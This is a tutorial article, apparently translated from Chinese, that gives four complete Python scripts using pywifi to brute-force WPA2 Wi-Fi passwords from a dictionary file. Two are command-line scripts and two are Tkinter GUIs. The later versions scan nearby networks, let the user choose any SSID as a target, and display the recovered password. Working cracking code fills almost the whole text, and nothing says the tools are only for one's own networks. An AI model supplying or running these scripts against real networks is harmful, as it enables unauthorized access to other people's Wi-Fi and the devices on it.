How to Build a Python Wi‑Fi Brute‑Force Cracker (CLI & GUI)

Introduction

This article records how to implement Wi‑Fi password brute‑force cracking using Python scripts, first with a command‑line version and then with an interactive graphical interface.

Command‑line script (no GUI)

Shows a basic script that uses the pywifi library to test connections against passwords read from a pwd.txt dictionary. The script creates a profile, attempts to connect, reports success or failure, and measures elapsed time.

import pywifi
from pywifi import const
import time
import datetime
# Test connection, return result
def wifiConnect(pwd):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = "Tr0e"
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd
        ifaces.remove_all_network_profiles()
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        time.sleep(2)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")

# Read password dictionary
def readPassword():
    success = False
    print("****************** WIFI破解 ******************")
    path = "pwd.txt"
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        try:
            pwd = file.readline()
            pwd = pwd.strip('
')
            bool = wifiConnect(pwd)
            if bool:
                print("[*] 密码已破解：", pwd)
                print("[*] WiFi已自动连接！！！")
                success = True
                break
            else:
                print("正在破解 SSID 为 %s 的 WIFI密码，当前校验的密码为：%s" % ("Tr0e", pwd))
        except:
            continue
    end = datetime.datetime.now()
    if success:
        print("[*] 本次破解WIFI密码一共用了多长时间：{}".format(end - start))
    else:
        print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码，请更换密码字典后重新尝试！")
    exit(0)

if __name__ == "__main__":
    readPassword()

Optimized script (scan & flexible dictionary)

Improves flexibility by scanning nearby Wi‑Fi networks, letting the user choose a target, and prompting for a dictionary path. It sorts networks by signal strength and attempts each password with a timeout, exiting on the first successful connection.

import pywifi
import time
from pywifi import const

# WiFi scanning module
def wifi_scan():
    wifi = pywifi.PyWiFi()
    interface = wifi.interfaces()[0]
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('\r扫描可用 WiFi 中，请稍后。。。(' + str(3 - i), end=')')
    print('\r扫描完成！
' + '-' * 38)
    print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
    bss = interface.scan_results()
    wifi_name_set = set()
    for w in bss:
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    wifi_name_list = sorted(list(wifi_name_set), key=lambda a: a[0], reverse=True)
    num = 0
    while num < len(wifi_name_list):
        print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
        num += 1
    print('-' * 38)
    return wifi_name_list

# WiFi cracking module
def wifi_password_crack(wifi_name):
    wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典（txt格式，每个密码占据1行）的路径：")
    with open(wifi_dic_path, 'r') as f:
        for pwd in f:
            pwd = pwd.strip('
')
            wifi = pywifi.PyWiFi()
            interface = wifi.interfaces()[0]
            interface.disconnect()
            while interface.status() == 4:
                pass
            profile = pywifi.Profile()
            profile.ssid = wifi_name
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = pwd
            interface.remove_all_network_profiles()
            tmp_profile = interface.add_network_profile(profile)
            interface.connect(tmp_profile)
            start_time = time.time()
            while time.time() - start_time < 1.5:
                if interface.status() == 4:
                    print(f'\r连接成功！密码为：{pwd}')
                    exit(0)
                else:
                    print(f'\r正在利用密码 {pwd} 尝试破解。', end='')

def main():
    exit_flag = 0
    while not exit_flag:
        try:
            print('WiFi万能钥匙'.center(35, '-'))
            wifi_list = wifi_scan()
            choose_exit_flag = 0
            while not choose_exit_flag:
                try:
                    target_num = int(input('请选择你要尝试破解的wifi：'))
                    if target_num in range(len(wifi_list)):
                        while not choose_exit_flag:
                            try:
                                choose = str(input(f'你选择要破解的WiFi名称是：{wifi_list[target_num][1]}，确定吗？（Y/N）'))
                                if choose.lower() == 'y':
                                    choose_exit_flag = 1
                                elif choose.lower() == 'n':
                                    break
                                else:
                                    print('只能输入 Y/N 哦o(*￣︶￣*)o')
                            except ValueError:
                                print('只能输入 Y/N 哦o(*￣︶￣*)o')
                    else:
                        print('请重新输入哦(*^▽^*)')
                except ValueError:
                    print('只能输入数字哦o(*￣︶￣*)o')
            wifi_password_crack(wifi_list[target_num][1])
            print('-' * 38)
            exit_flag = 1
        except Exception as e:
            print(e)
            raise e

if __name__ == '__main__':
    main()

Graphical interface with Tkinter (simple version)

Uses Tkinter to build a small window where the user enters the Wi‑Fi name, reads passwords from pwd.txt, and displays “password correct” or “password incorrect” in a listbox.

from tkinter import *
from pywifi import const
import pywifi
import time

# Main steps:
# 1. Get first wireless adapter
# 2. Disconnect all Wi‑Fi
# 3. Read password file
# 4. Set sleep time

def wificonnect(pwd, wifiname):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = wifiname
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.key = pwd
        profile.auth = const.AUTH_ALG_OPEN
        profile.cipher = const.CIPHER_TYPE_CCMP
        ifaces.remove_all_network_profiles()
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False

def readPwd():
    wifiname = entry.get().strip()
    path = r'./pwd.txt'
    file = open(path, 'r')
    while True:
        try:
            mystr = file.readline().strip()
            bool = wificonnect(mystr, wifiname)
            if bool:
                text.insert(END, '密码正确' + mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END, '密码错误' + mystr)
                text.see(END)
                text.update()
        except:
            continue

root = Tk()
root.title('wifi破解')
root.geometry('500x400')
label = Label(root, text='输入要破解的WIFI名称：')
label.grid()
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
root.mainloop()

Enhanced Tkinter UI (tree view, file chooser)

Creates a richer UI with a tree view of scanned networks, a file‑dialog to select the password file, and message boxes to report success. The core logic remains the same: build a profile, connect, wait, and verify the interface status.

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox

class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        self.get_value = StringVar()
        self.get_wifi_value = StringVar()
        self.get_wifimm_value = StringVar()
        self.wifi = pywifi.PyWiFi()
        self.iface = self.wifi.interfaces()[0]
        self.iface.disconnect()
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def __str__(self):
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())

    def set_init_window(self):
        self.init_window_name.title("WIFI破解工具")
        self.init_window_name.geometry('+500+200')
        labelframe = LabelFrame(width=400, height=200, text="配置")
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
        self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
        self.label = Label(labelframe, text="目录路径：").grid(column=0, row=1)
        self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
        self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)
        self.wifi_text = Label(labelframe, text="WiFi账号：").grid(column=0, row=2)
        self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        self.wifi_mm_text = Label(labelframe, text="WiFi密码：").grid(column=2, row=2)
        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2, sticky=W)
        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)

    def scans_wifi_list(self):
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        scanres = self.iface.scan_results()
        print("数量: %s" % len(scanres))
        self.show_scans_wifi_list(scanres)
        return scanres

    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)

    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])

    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self.res = "[*] 密码正确！wifi名：%s，匹配密码：%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('提示', '破解成功！！！')
                    print(self.res)
                    break
                else:
                    self.res = "[*] 密码错误！wifi名:%s，匹配密码：%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue

    def connect(self, pwd_Str, wifi_ssid):
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid
        self.profile.auth = const.AUTH_ALG_OPEN
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
        self.profile.cipher = const.CIPHER_TYPE_CCMP
        self.profile.key = pwd_Str
        self.iface.remove_all_network_profiles()
        self.tmp_profile = self.iface.add_network_profile(self.profile)
        self.iface.connect(self.tmp_profile)
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK

def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    ui.set_init_window()
    init_window.mainloop()

if __name__ == "__main__":
    gui_start()

Conclusion

The article demonstrates both command‑line and Tkinter GUI approaches to Wi‑Fi password brute‑force cracking in Python and notes that incorporating multithreading could reduce the waiting time during connection attempts.